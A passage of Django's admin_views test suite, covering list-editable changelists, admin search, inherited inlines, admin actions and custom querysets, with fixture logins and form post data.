"chapter_set-3-title": "", "chapter_set-3-content": "", "chapter_set-4-id": "", "chapter_set-4-title": "", "chapter_set-4-content": "", "chapter_set-5-id": "", "chapter_set-5-title": "", "chapter_set-5-content": "", } response = self.client.post('/test_admin/admin/admin_views/book/1/', post_data) self.assertEqual(response.status_code, 302) # redirect somewhere def test_unicode_delete(self): """ Ensure that the delete_view handles non-ASCII characters """ delete_dict = {'post': 'yes'} response = self.client.get('/test_admin/admin/admin_views/book/1/delete/') self.assertEqual(response.status_code, 200) response = self.client.post('/test_admin/admin/admin_views/book/1/delete/', delete_dict) self.assertRedirects(response, '/test_admin/admin/admin_views/book/') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminViewListEditable(TestCase): fixtures = ['admin-views-users.xml', 'admin-views-person.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_inheritance(self): Podcast.objects.create(name="This Week in Django", release_date=datetime.date.today()) response = self.client.get('/test_admin/admin/admin_views/podcast/') self.assertEqual(response.status_code, 200) def test_inheritance_2(self): Vodcast.objects.create(name="This Week in Django", released=True) response = self.client.get('/test_admin/admin/admin_views/vodcast/') self.assertEqual(response.status_code, 200) def test_custom_pk(self): Language.objects.create(iso='en', name='English', english_name='English') response = self.client.get('/test_admin/admin/admin_views/language/') self.assertEqual(response.status_code, 200) def test_changelist_input_html(self): response = self.client.get('/test_admin/admin/admin_views/person/') # 2 inputs per object(the field and the hidden id field) = 6 # 4 management hidden fields = 4 # 4 action inputs (3 regular checkboxes, 1 checkbox to select all) # main form submit button = 1 # search field and search submit button = 2 # CSRF field = 1 # field to track 'select all' across paginated views = 1 # 6 + 4 + 4 + 1 + 2 + 1 + 1 = 19 inputs self.assertContains(response, "<input", count=19) # 1 select per object = 3 selects self.assertContains(response, "<select", count=4) def test_post_messages(self): # Ticket 12707: Saving inline editable should not show admin # action warnings data = { "form-TOTAL_FORMS": "3", "form-INITIAL_FORMS": "3", "form-MAX_NUM_FORMS": "0", "form-0-gender": "1", "form-0-id": "1", "form-1-gender": "2", "form-1-id": "2", "form-2-alive": "checked", "form-2-gender": "1", "form-2-id": "3", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/person/', data, follow=True) self.assertEqual(len(response.context['messages']), 1) def test_post_submission(self): data = { "form-TOTAL_FORMS": "3", "form-INITIAL_FORMS": "3", "form-MAX_NUM_FORMS": "0", "form-0-gender": "1", "form-0-id": "1", "form-1-gender": "2", "form-1-id": "2", "form-2-alive": "checked", "form-2-gender": "1", "form-2-id": "3", "_save": "Save", } self.client.post('/test_admin/admin/admin_views/person/', data) self.assertEqual(Person.objects.get(name="John Mauchly").alive, False) self.assertEqual(Person.objects.get(name="Grace Hopper").gender, 2) # test a filtered page data = { "form-TOTAL_FORMS": "2", "form-INITIAL_FORMS": "2", "form-MAX_NUM_FORMS": "0", "form-0-id": "1", "form-0-gender": "1", "form-0-alive": "checked", "form-1-id": "3", "form-1-gender": "1", "form-1-alive": "checked", "_save": "Save", } self.client.post('/test_admin/admin/admin_views/person/?gender__exact=1', data) self.assertEqual(Person.objects.get(name="John Mauchly").alive, True) # test a searched page data = { "form-TOTAL_FORMS": "1", "form-INITIAL_FORMS": "1", "form-MAX_NUM_FORMS": "0", "form-0-id": "1", "form-0-gender": "1", "_save": "Save", } self.client.post('/test_admin/admin/admin_views/person/?q=john', data) self.assertEqual(Person.objects.get(name="John Mauchly").alive, False) def test_non_field_errors(self): ''' Ensure that non field errors are displayed for each of the forms in the changelist's formset. Refs #13126. ''' fd1 = FoodDelivery.objects.create(reference='123', driver='bill', restaurant='thai') fd2 = FoodDelivery.objects.create(reference='456', driver='bill', restaurant='india') fd3 = FoodDelivery.objects.create(reference='789', driver='bill', restaurant='pizza') data = { "form-TOTAL_FORMS": "3", "form-INITIAL_FORMS": "3", "form-MAX_NUM_FORMS": "0", "form-0-id": str(fd1.id), "form-0-reference": "123", "form-0-driver": "bill", "form-0-restaurant": "thai", # Same data as above: Forbidden because of unique_together! "form-1-id": str(fd2.id), "form-1-reference": "456", "form-1-driver": "bill", "form-1-restaurant": "thai", "form-2-id": str(fd3.id), "form-2-reference": "789", "form-2-driver": "bill", "form-2-restaurant": "pizza", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/fooddelivery/', data) self.assertContains(response, '<tr><td colspan="4"><ul class="errorlist nonfield"><li>Food delivery with this Driver and Restaurant already exists.</li></ul></td></tr>', 1, html=True) data = { "form-TOTAL_FORMS": "3", "form-INITIAL_FORMS": "3", "form-MAX_NUM_FORMS": "0", "form-0-id": str(fd1.id), "form-0-reference": "123", "form-0-driver": "bill", "form-0-restaurant": "thai", # Same data as above: Forbidden because of unique_together! "form-1-id": str(fd2.id), "form-1-reference": "456", "form-1-driver": "bill", "form-1-restaurant": "thai", # Same data also. "form-2-id": str(fd3.id), "form-2-reference": "789", "form-2-driver": "bill", "form-2-restaurant": "thai", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/fooddelivery/', data) self.assertContains(response, '<tr><td colspan="4"><ul class="errorlist nonfield"><li>Food delivery with this Driver and Restaurant already exists.</li></ul></td></tr>', 2, html=True) def test_non_form_errors(self): # test if non-form errors are handled; ticket #12716 data = { "form-TOTAL_FORMS": "1", "form-INITIAL_FORMS": "1", "form-MAX_NUM_FORMS": "0", "form-0-id": "2", "form-0-alive": "1", "form-0-gender": "2", # Ensure that the form processing understands this as a list_editable "Save" # and not an action "Go". "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/person/', data) self.assertContains(response, "Grace is not a Zombie") def test_non_form_errors_is_errorlist(self): # test if non-form errors are correctly handled; ticket #12878 data = { "form-TOTAL_FORMS": "1", "form-INITIAL_FORMS": "1", "form-MAX_NUM_FORMS": "0", "form-0-id": "2", "form-0-alive": "1", "form-0-gender": "2", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/person/', data) non_form_errors = response.context['cl'].formset.non_form_errors() self.assertIsInstance(non_form_errors, ErrorList) self.assertEqual(str(non_form_errors), str(ErrorList(["Grace is not a Zombie"]))) def test_list_editable_ordering(self): collector = Collector.objects.create(id=1, name="Frederick Clegg") Category.objects.create(id=1, order=1, collector=collector) Category.objects.create(id=2, order=2, collector=collector) Category.objects.create(id=3, order=0, collector=collector) Category.objects.create(id=4, order=0, collector=collector) # NB: The order values must be changed so that the items are reordered. data = { "form-TOTAL_FORMS": "4", "form-INITIAL_FORMS": "4", "form-MAX_NUM_FORMS": "0", "form-0-order": "14", "form-0-id": "1", "form-0-collector": "1", "form-1-order": "13", "form-1-id": "2", "form-1-collector": "1", "form-2-order": "1", "form-2-id": "3", "form-2-collector": "1", "form-3-order": "0", "form-3-id": "4", "form-3-collector": "1", # Ensure that the form processing understands this as a list_editable "Save" # and not an action "Go". "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/category/', data) # Successful post will redirect self.assertEqual(response.status_code, 302) # Check that the order values have been applied to the right objects self.assertEqual(Category.objects.get(id=1).order, 14) self.assertEqual(Category.objects.get(id=2).order, 13) self.assertEqual(Category.objects.get(id=3).order, 1) self.assertEqual(Category.objects.get(id=4).order, 0) def test_list_editable_pagination(self): """ Ensure that pagination works for list_editable items. Refs #16819. """ UnorderedObject.objects.create(id=1, name='Unordered object #1') UnorderedObject.objects.create(id=2, name='Unordered object #2') UnorderedObject.objects.create(id=3, name='Unordered object #3') response = self.client.get('/test_admin/admin/admin_views/unorderedobject/') self.assertContains(response, 'Unordered object #3') self.assertContains(response, 'Unordered object #2') self.assertNotContains(response, 'Unordered object #1') response = self.client.get('/test_admin/admin/admin_views/unorderedobject/?p=1') self.assertNotContains(response, 'Unordered object #3') self.assertNotContains(response, 'Unordered object #2') self.assertContains(response, 'Unordered object #1') def test_list_editable_action_submit(self): # List editable changes should not be executed if the action "Go" button is # used to submit the form. data = { "form-TOTAL_FORMS": "3", "form-INITIAL_FORMS": "3", "form-MAX_NUM_FORMS": "0", "form-0-gender": "1", "form-0-id": "1", "form-1-gender": "2", "form-1-id": "2", "form-2-alive": "checked", "form-2-gender": "1", "form-2-id": "3", "index": "0", "_selected_action": ['3'], "action": ['', 'delete_selected'], } self.client.post('/test_admin/admin/admin_views/person/', data) self.assertEqual(Person.objects.get(name="John Mauchly").alive, True) self.assertEqual(Person.objects.get(name="Grace Hopper").gender, 1) def test_list_editable_action_choices(self): # List editable changes should be executed if the "Save" button is # used to submit the form - any action choices should be ignored. data = { "form-TOTAL_FORMS": "3", "form-INITIAL_FORMS": "3", "form-MAX_NUM_FORMS": "0", "form-0-gender": "1", "form-0-id": "1", "form-1-gender": "2", "form-1-id": "2", "form-2-alive": "checked", "form-2-gender": "1", "form-2-id": "3", "_save": "Save", "_selected_action": ['1'], "action": ['', 'delete_selected'], } self.client.post('/test_admin/admin/admin_views/person/', data) self.assertEqual(Person.objects.get(name="John Mauchly").alive, False) self.assertEqual(Person.objects.get(name="Grace Hopper").gender, 2) def test_list_editable_popup(self): """ Fields should not be list-editable in popups. """ response = self.client.get('/test_admin/admin/admin_views/person/') self.assertNotEqual(response.context['cl'].list_editable, ()) response = self.client.get('/test_admin/admin/admin_views/person/?%s' % IS_POPUP_VAR) self.assertEqual(response.context['cl'].list_editable, ()) def test_pk_hidden_fields(self): """ Ensure that hidden pk fields aren't displayed in the table body and that their corresponding human-readable value is displayed instead. Note that the hidden pk fields are in fact be displayed but separately (not in the table), and only once. Refs #12475. """ story1 = Story.objects.create(title='The adventures of Guido', content='Once upon a time in Djangoland...') story2 = Story.objects.create(title='Crouching Tiger, Hidden Python', content='The Python was sneaking into...') response = self.client.get('/test_admin/admin/admin_views/story/') self.assertContains(response, 'id="id_form-0-id"', 1) # Only one hidden field, in a separate place than the table. self.assertContains(response, 'id="id_form-1-id"', 1) self.assertContains(response, '<div class="hiddenfields">\n<input type="hidden" name="form-0-id" value="%d" id="id_form-0-id" /><input type="hidden" name="form-1-id" value="%d" id="id_form-1-id" />\n</div>' % (story2.id, story1.id), html=True) self.assertContains(response, '<td class="field-id">%d</td>' % story1.id, 1) self.assertContains(response, '<td class="field-id">%d</td>' % story2.id, 1) def test_pk_hidden_fields_with_list_display_links(self): """ Similarly as test_pk_hidden_fields, but when the hidden pk fields are referenced in list_display_links. Refs #12475. """ story1 = OtherStory.objects.create(title='The adventures of Guido', content='Once upon a time in Djangoland...') story2 = OtherStory.objects.create(title='Crouching Tiger, Hidden Python', content='The Python was sneaking into...') link1 = reverse('admin:admin_views_otherstory_change', args=(story1.pk,)) link2 = reverse('admin:admin_views_otherstory_change', args=(story2.pk,)) response = self.client.get('/test_admin/admin/admin_views/otherstory/') self.assertContains(response, 'id="id_form-0-id"', 1) # Only one hidden field, in a separate place than the table. self.assertContains(response, 'id="id_form-1-id"', 1) self.assertContains(response, '<div class="hiddenfields">\n<input type="hidden" name="form-0-id" value="%d" id="id_form-0-id" /><input type="hidden" name="form-1-id" value="%d" id="id_form-1-id" />\n</div>' % (story2.id, story1.id), html=True) self.assertContains(response, '<th class="field-id"><a href="%s">%d</a></th>' % (link1, story1.id), 1) self.assertContains(response, '<th class="field-id"><a href="%s">%d</a></th>' % (link2, story2.id), 1) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminSearchTest(TestCase): fixtures = ['admin-views-users', 'multiple-child-classes', 'admin-views-person'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_search_on_sibling_models(self): "Check that a search that mentions sibling models" response = self.client.get('/test_admin/admin/admin_views/recommendation/?q=bar') # confirm the search returned 1 object self.assertContains(response, "\n1 recommendation\n") def test_with_fk_to_field(self): """Ensure that the to_field GET parameter is preserved when a search is performed. Refs #10918. """ response = self.client.get('/test_admin/admin/auth/user/?q=joe&%s=id' % TO_FIELD_VAR) self.assertContains(response, "\n1 user\n") self.assertContains(response, '<input type="hidden" name="%s" value="id"/>' % TO_FIELD_VAR, html=True) def test_exact_matches(self): response = self.client.get('/test_admin/admin/admin_views/recommendation/?q=bar') # confirm the search returned one object self.assertContains(response, "\n1 recommendation\n") response = self.client.get('/test_admin/admin/admin_views/recommendation/?q=ba') # confirm the search returned zero objects self.assertContains(response, "\n0 recommendations\n") def test_beginning_matches(self): response = self.client.get('/test_admin/admin/admin_views/person/?q=Gui') # confirm the search returned one object self.assertContains(response, "\n1 person\n") self.assertContains(response, "Guido") response = self.client.get('/test_admin/admin/admin_views/person/?q=uido') # confirm the search returned zero objects self.assertContains(response, "\n0 persons\n") self.assertNotContains(response, "Guido") def test_pluggable_search(self): PluggableSearchPerson.objects.create(name="Bob", age=10) PluggableSearchPerson.objects.create(name="Amy", age=20) response = self.client.get('/test_admin/admin/admin_views/pluggablesearchperson/?q=Bob') # confirm the search returned one object self.assertContains(response, "\n1 pluggable search person\n") self.assertContains(response, "Bob") response = self.client.get('/test_admin/admin/admin_views/pluggablesearchperson/?q=20') # confirm the search returned one object self.assertContains(response, "\n1 pluggable search person\n") self.assertContains(response, "Amy") def test_reset_link(self): """ Test presence of reset link in search bar ("1 result (_x total_)"). """ # 1 query for session + 1 for fetching user # + 1 for filtered result + 1 for filtered count # + 1 for total count with self.assertNumQueries(5): response = self.client.get('/test_admin/admin/admin_views/person/?q=Gui') self.assertContains(response, """<span class="small quiet">1 result (<a href="?">3 total</a>)</span>""", html=True) def test_no_total_count(self): """ #8408 -- "Show all" should be displayed instead of the total count if ModelAdmin.show_full_result_count is False. """ # 1 query for session + 1 for fetching user # + 1 for filtered result + 1 for filtered count with self.assertNumQueries(4): response = self.client.get('/test_admin/admin/admin_views/recommendation/?q=bar') self.assertContains(response, """<span class="small quiet">1 result (<a href="?">Show all</a>)</span>""", html=True) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminInheritedInlinesTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_inline(self): "Ensure that inline models which inherit from a common parent are correctly handled by admin." foo_user = "foo username" bar_user = "bar username" name_re = re.compile(b'name="(.*?)"') # test the add case response = self.client.get('/test_admin/admin/admin_views/persona/add/') names = name_re.findall(response.content) # make sure we have no duplicate HTML names self.assertEqual(len(names), len(set(names))) # test the add case post_data = { "name": "Test Name", # inline data "accounts-TOTAL_FORMS": "1", "accounts-INITIAL_FORMS": "0", "accounts-MAX_NUM_FORMS": "0", "accounts-0-username": foo_user, "accounts-2-TOTAL_FORMS": "1", "accounts-2-INITIAL_FORMS": "0", "accounts-2-MAX_NUM_FORMS": "0", "accounts-2-0-username": bar_user, } response = self.client.post('/test_admin/admin/admin_views/persona/add/', post_data) self.assertEqual(response.status_code, 302) # redirect somewhere self.assertEqual(Persona.objects.count(), 1) self.assertEqual(FooAccount.objects.count(), 1) self.assertEqual(BarAccount.objects.count(), 1) self.assertEqual(FooAccount.objects.all()[0].username, foo_user) self.assertEqual(BarAccount.objects.all()[0].username, bar_user) self.assertEqual(Persona.objects.all()[0].accounts.count(), 2) persona_id = Persona.objects.all()[0].id foo_id = FooAccount.objects.all()[0].id bar_id = BarAccount.objects.all()[0].id # test the edit case response = self.client.get('/test_admin/admin/admin_views/persona/%d/' % persona_id) names = name_re.findall(response.content) # make sure we have no duplicate HTML names self.assertEqual(len(names), len(set(names))) post_data = { "name": "Test Name", "accounts-TOTAL_FORMS": "2", "accounts-INITIAL_FORMS": "1", "accounts-MAX_NUM_FORMS": "0", "accounts-0-username": "%s-1" % foo_user, "accounts-0-account_ptr": str(foo_id), "accounts-0-persona": str(persona_id), "accounts-2-TOTAL_FORMS": "2", "accounts-2-INITIAL_FORMS": "1", "accounts-2-MAX_NUM_FORMS": "0", "accounts-2-0-username": "%s-1" % bar_user, "accounts-2-0-account_ptr": str(bar_id), "accounts-2-0-persona": str(persona_id), } response = self.client.post('/test_admin/admin/admin_views/persona/%d/' % persona_id, post_data) self.assertEqual(response.status_code, 302) self.assertEqual(Persona.objects.count(), 1) self.assertEqual(FooAccount.objects.count(), 1) self.assertEqual(BarAccount.objects.count(), 1) self.assertEqual(FooAccount.objects.all()[0].username, "%s-1" % foo_user) self.assertEqual(BarAccount.objects.all()[0].username, "%s-1" % bar_user) self.assertEqual(Persona.objects.all()[0].accounts.count(), 2) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminActionsTest(TestCase): fixtures = ['admin-views-users.xml', 'admin-views-actions.xml'] def setUp(self): self.client.login(username='super', password='secret') def tearDown(self): self.client.logout() def test_model_admin_custom_action(self): "Tests a custom action defined in a ModelAdmin method" action_data = { ACTION_CHECKBOX_NAME: [1], 'action': 'mail_admin', 'index': 0, } self.client.post('/test_admin/admin/admin_views/subscriber/', action_data) self.assertEqual(len(mail.outbox), 1) self.assertEqual(mail.outbox[0].subject, 'Greetings from a ModelAdmin action') def test_model_admin_default_delete_action(self): "Tests the default delete action defined as a ModelAdmin method" action_data = { ACTION_CHECKBOX_NAME: [1, 2], 'action': 'delete_selected', 'index': 0, } delete_confirmation_data = { ACTION_CHECKBOX_NAME: [1, 2], 'action': 'delete_selected', 'post': 'yes', } confirmation = self.client.post('/test_admin/admin/admin_views/subscriber/', action_data) self.assertIsInstance(confirmation, TemplateResponse) self.assertContains(confirmation, "Are you sure you want to delete the selected subscribers?") self.assertContains(confirmation, "<h2>Summary</h2>") self.assertContains(confirmation, "<li>Subscribers: 3</li>") self.assertContains(confirmation, "<li>External subscribers: 1</li>") self.assertContains(confirmation, ACTION_CHECKBOX_NAME, count=2) self.client.post('/test_admin/admin/admin_views/subscriber/', delete_confirmation_data) self.assertEqual(Subscriber.objects.count(), 0) @override_settings(USE_THOUSAND_SEPARATOR=True, USE_L10N=True) def test_non_localized_pk(self): """If USE_THOUSAND_SEPARATOR is set, make sure that the ids for the objects selected for deletion are rendered without separators. Refs #14895. """ subscriber = Subscriber.objects.get(id=1) subscriber.id = 9999 subscriber.save() action_data = { ACTION_CHECKBOX_NAME: [9999, 2], 'action': 'delete_selected', 'index': 0, } response = self.client.post('/test_admin/admin/admin_views/subscriber/', action_data) self.assertTemplateUsed(response, 'admin/delete_selected_confirmation.html') self.assertContains(response, 'value="9999"') # Instead of 9,999 self.assertContains(response, 'value="2"') def test_model_admin_default_delete_action_protected(self): """ Tests the default delete action defined as a ModelAdmin method in the case where some related objects are protected from deletion. """ q1 = Question.objects.create(question="Why?") a1 = Answer.objects.create(question=q1, answer="Because.") a2 = Answer.objects.create(question=q1, answer="Yes.") q2 = Question.objects.create(question="Wherefore?") action_data = { ACTION_CHECKBOX_NAME: [q1.pk, q2.pk], 'action': 'delete_selected', 'index': 0, } response = self.client.post("/test_admin/admin/admin_views/question/", action_data) self.assertContains(response, "would require deleting the following protected related objects") self.assertContains(response, '<li>Answer: <a href="/test_admin/admin/admin_views/answer/%s/">Because.</a></li>' % a1.pk, html=True) self.assertContains(response, '<li>Answer: <a href="/test_admin/admin/admin_views/answer/%s/">Yes.</a></li>' % a2.pk, html=True) def test_model_admin_default_delete_action_no_change_url(self): """ Default delete action shouldn't break if a user's ModelAdmin removes the url for change_view. Regression test for #20640 """ obj = UnchangeableObject.objects.create() action_data = { ACTION_CHECKBOX_NAME: obj.pk, "action": "delete_selected", "index": "0", } response = self.client.post('/test_admin/admin/admin_views/unchangeableobject/', action_data) # No 500 caused by NoReverseMatch self.assertEqual(response.status_code, 200) # The page shouldn't display a link to the nonexistent change page self.assertContains(response, "<li>Unchangeable object: UnchangeableObject object</li>", 1, html=True) def test_custom_function_mail_action(self): "Tests a custom action defined in a function" action_data = { ACTION_CHECKBOX_NAME: [1], 'action': 'external_mail', 'index': 0, } self.client.post('/test_admin/admin/admin_views/externalsubscriber/', action_data) self.assertEqual(len(mail.outbox), 1) self.assertEqual(mail.outbox[0].subject, 'Greetings from a function action') def test_custom_function_action_with_redirect(self): "Tests a custom action defined in a function" action_data = { ACTION_CHECKBOX_NAME: [1], 'action': 'redirect_to', 'index': 0, } response = self.client.post('/test_admin/admin/admin_views/externalsubscriber/', action_data) self.assertEqual(response.status_code, 302) def test_default_redirect(self): """ Test that actions which don't return an HttpResponse are redirected to the same page, retaining the querystring (which may contain changelist information). """ action_data = { ACTION_CHECKBOX_NAME: [1], 'action': 'external_mail', 'index': 0, } url = '/test_admin/admin/admin_views/externalsubscriber/?o=1' response = self.client.post(url, action_data) self.assertRedirects(response, url) def test_custom_function_action_streaming_response(self): """Tests a custom action that returns a StreamingHttpResponse.""" action_data = { ACTION_CHECKBOX_NAME: [1], 'action': 'download', 'index': 0, } response = self.client.post('/test_admin/admin/admin_views/externalsubscriber/', action_data) content = b''.join(response.streaming_content) self.assertEqual(content, b'This is the content of the file') self.assertEqual(response.status_code, 200) def test_custom_function_action_no_perm_response(self): """Tests a custom action that returns an HttpResponse with 403 code.""" action_data = { ACTION_CHECKBOX_NAME: [1], 'action': 'no_perm', 'index': 0, } response = self.client.post('/test_admin/admin/admin_views/externalsubscriber/', action_data) self.assertEqual(response.status_code, 403) self.assertEqual(response.content, b'No permission to perform this action') def test_actions_ordering(self): """ Ensure that actions are ordered as expected. Refs #15964. """ response = self.client.get('/test_admin/admin/admin_views/externalsubscriber/') self.assertContains(response, '''<label>Action: <select name="action"> <option value="" selected="selected">---------</option> <option value="delete_selected">Delete selected external subscribers</option> <option value="redirect_to">Redirect to (Awesome action)</option> <option value="external_mail">External mail (Another awesome action)</option> <option value="download">Download subscription</option> <option value="no_perm">No permission to run</option> </select>''', html=True) def test_model_without_action(self): "Tests a ModelAdmin without any action" response = self.client.get('/test_admin/admin/admin_views/oldsubscriber/') self.assertEqual(response.context["action_form"], None) self.assertNotContains(response, '<input type="checkbox" class="action-select"', msg_prefix="Found an unexpected action toggle checkboxbox in response") self.assertNotContains(response, '<input type="checkbox" class="action-select"') def test_model_without_action_still_has_jquery(self): "Tests that a ModelAdmin without any actions still gets jQuery included in page" response = self.client.get('/test_admin/admin/admin_views/oldsubscriber/') self.assertEqual(response.context["action_form"], None) self.assertContains(response, 'jquery.min.js', msg_prefix="jQuery missing from admin pages for model with no admin actions") def test_action_column_class(self): "Tests that the checkbox column class is present in the response" response = self.client.get('/test_admin/admin/admin_views/subscriber/') self.assertNotEqual(response.context["action_form"], None) self.assertContains(response, 'action-checkbox-column') def test_multiple_actions_form(self): """ Test that actions come from the form whose submit button was pressed (#10618). """ action_data = { ACTION_CHECKBOX_NAME: [1], # Two different actions selected on the two forms... 'action': ['external_mail', 'delete_selected'], # ...but we clicked "go" on the top form. 'index': 0 } self.client.post('/test_admin/admin/admin_views/externalsubscriber/', action_data) # Send mail, don't delete. self.assertEqual(len(mail.outbox), 1) self.assertEqual(mail.outbox[0].subject, 'Greetings from a function action') def test_user_message_on_none_selected(self): """ User should see a warning when 'Go' is pressed and no items are selected. """ action_data = { ACTION_CHECKBOX_NAME: [], 'action': 'delete_selected', 'index': 0, } response = self.client.post('/test_admin/admin/admin_views/subscriber/', action_data) msg = """Items must be selected in order to perform actions on them. No items have been changed.""" self.assertContains(response, msg) self.assertEqual(Subscriber.objects.count(), 2) def test_user_message_on_no_action(self): """ User should see a warning when 'Go' is pressed and no action is selected. """ action_data = { ACTION_CHECKBOX_NAME: [1, 2], 'action': '', 'index': 0, } response = self.client.post('/test_admin/admin/admin_views/subscriber/', action_data) msg = """No action selected.""" self.assertContains(response, msg) self.assertEqual(Subscriber.objects.count(), 2) def test_selection_counter(self): """ Check if the selection counter is there. """ response = self.client.get('/test_admin/admin/admin_views/subscriber/') self.assertContains(response, '0 of 2 selected') def test_popup_actions(self): """ Actions should not be shown in popups. """ response = self.client.get('/test_admin/admin/admin_views/subscriber/') self.assertNotEqual(response.context["action_form"], None) response = self.client.get( '/test_admin/admin/admin_views/subscriber/?%s' % IS_POPUP_VAR) self.assertEqual(response.context["action_form"], None) def test_popup_template_response(self): """ Success on popups shall be rendered from template in order to allow easy customization. """ response = self.client.post( '/test_admin/admin/admin_views/actor/add/?%s=1' % IS_POPUP_VAR, {'name': 'Troy McClure', 'age': '55', IS_POPUP_VAR: '1'}) self.assertEqual(response.status_code, 200) self.assertEqual(response.template_name, 'admin/popup_response.html') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class TestCustomChangeList(TestCase): fixtures = ['admin-views-users.xml'] urlbit = 'admin' def setUp(self): result = self.client.login(username='super', password='secret') self.assertEqual(result, True) def tearDown(self): self.client.logout() def test_custom_changelist(self): """ Validate that a custom ChangeList class can be used (#9749) """ # Insert some data post_data = {"name": "First Gadget"} response = self.client.post('/test_admin/%s/admin_views/gadget/add/' % self.urlbit, post_data) self.assertEqual(response.status_code, 302) # redirect somewhere # Hit the page once to get messages out of the queue message list response = self.client.get('/test_admin/%s/admin_views/gadget/' % self.urlbit) # Ensure that data is still not visible on the page response = self.client.get('/test_admin/%s/admin_views/gadget/' % self.urlbit) self.assertEqual(response.status_code, 200) self.assertNotContains(response, 'First Gadget') @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class TestInlineNotEditable(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): result = self.client.login(username='super', password='secret') self.assertEqual(result, True) def tearDown(self): self.client.logout() def test_GET_parent_add(self): """ InlineModelAdmin broken? """ response = self.client.get('/test_admin/admin/admin_views/parent/add/') self.assertEqual(response.status_code, 200) @override_settings(PASSWORD_HASHERS=('django.contrib.auth.hashers.SHA1PasswordHasher',), ROOT_URLCONF="admin_views.urls") class AdminCustomQuerysetTest(TestCase): fixtures = ['admin-views-users.xml'] def setUp(self): self.client.login(username='super', password='secret') self.pks = [EmptyModel.objects.create().id for i in range(3)] self.super_login = { REDIRECT_FIELD_NAME: '/test_admin/admin/', 'username': 'super', 'password': 'secret', } def test_changelist_view(self): response = self.client.get('/test_admin/admin/admin_views/emptymodel/') for i in self.pks: if i > 1: self.assertContains(response, 'Primary key = %s' % i) else: self.assertNotContains(response, 'Primary key = %s' % i) def test_changelist_view_count_queries(self): # create 2 Person objects Person.objects.create(name='person1', gender=1) Person.objects.create(name='person2', gender=2) # 4 queries are expected: 1 for the session, 1 for the user, # 1 for the count and 1 for the objects on the page with self.assertNumQueries(4): resp = self.client.get('/test_admin/admin/admin_views/person/') self.assertEqual(resp.context['selection_note'], '0 of 2 selected') self.assertEqual(resp.context['selection_note_all'], 'All 2 selected') # here one more count(*) query will run, because filters were applied with self.assertNumQueries(5): extra = {'q': 'not_in_name'} resp = self.client.get('/test_admin/admin/admin_views/person/', extra) self.assertEqual(resp.context['selection_note'], '0 of 0 selected') self.assertEqual(resp.context['selection_note_all'], 'All 0 selected') with self.assertNumQueries(5): extra = {'q': 'person'} resp = self.client.get('/test_admin/admin/admin_views/person/', extra) self.assertEqual(resp.context['selection_note'], '0 of 2 selected') self.assertEqual(resp.context['selection_note_all'], 'All 2 selected') with self.assertNumQueries(5): extra = {'gender__exact': '1'} resp = self.client.get('/test_admin/admin/admin_views/person/', extra) self.assertEqual(resp.context['selection_note'], '0 of 1 selected') self.assertEqual(resp.context['selection_note_all'], '1 selected') def test_change_view(self): for i in self.pks: response = self.client.get('/test_admin/admin/admin_views/emptymodel/%s/' % i) if i > 1: self.assertEqual(response.status_code, 200) else: self.assertEqual(response.status_code, 404) def test_add_model_modeladmin_defer_qs(self): # Test for #14529. defer() is used in ModelAdmin.get_queryset() # model has __unicode__ method self.assertEqual(CoverLetter.objects.count(), 0) # Emulate model instance creation via the admin post_data = { "author": "Candidate, Best", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/coverletter/add/', post_data, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(CoverLetter.objects.count(), 1) # Message should contain non-ugly model verbose name self.assertContains( response, '<li class="success">The cover letter &quot;Candidate, Best&quot; was added successfully.</li>', html=True ) # model has no __unicode__ method self.assertEqual(ShortMessage.objects.count(), 0) # Emulate model instance creation via the admin post_data = { "content": "What's this SMS thing?", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/shortmessage/add/', post_data, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(ShortMessage.objects.count(), 1) # Message should contain non-ugly model verbose name self.assertContains( response, '<li class="success">The short message &quot;ShortMessage object&quot; was added successfully.</li>', html=True ) def test_add_model_modeladmin_only_qs(self): # Test for #14529. only() is used in ModelAdmin.get_queryset() # model has __unicode__ method self.assertEqual(Telegram.objects.count(), 0) # Emulate model instance creation via the admin post_data = { "title": "Urgent telegram", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/telegram/add/', post_data, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(Telegram.objects.count(), 1) # Message should contain non-ugly model verbose name self.assertContains( response, '<li class="success">The telegram &quot;Urgent telegram&quot; was added successfully.</li>', html=True ) # model has no __unicode__ method self.assertEqual(Paper.objects.count(), 0) # Emulate model instance creation via the admin post_data = { "title": "My Modified Paper Title", "_save": "Save", } response = self.client.post('/test_admin/admin/admin_views/paper/add/', post_data, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(Paper.objects.count(), 1) # Message should contain non-ugly model verbose name self.assertContains( response, '<li class="success">The paper &quot;Paper object&quot; was added successfully.</li>', html=True ) def test_edit_model_modeladmin_defer_qs(self): # Test for #14529. defer() is used in ModelAdmin.get_queryset() # model has __unicode__ method cl = CoverLetter.objects.create(author="John Doe") self.assertEqual(CoverLetter.objects.count(), 1) response = 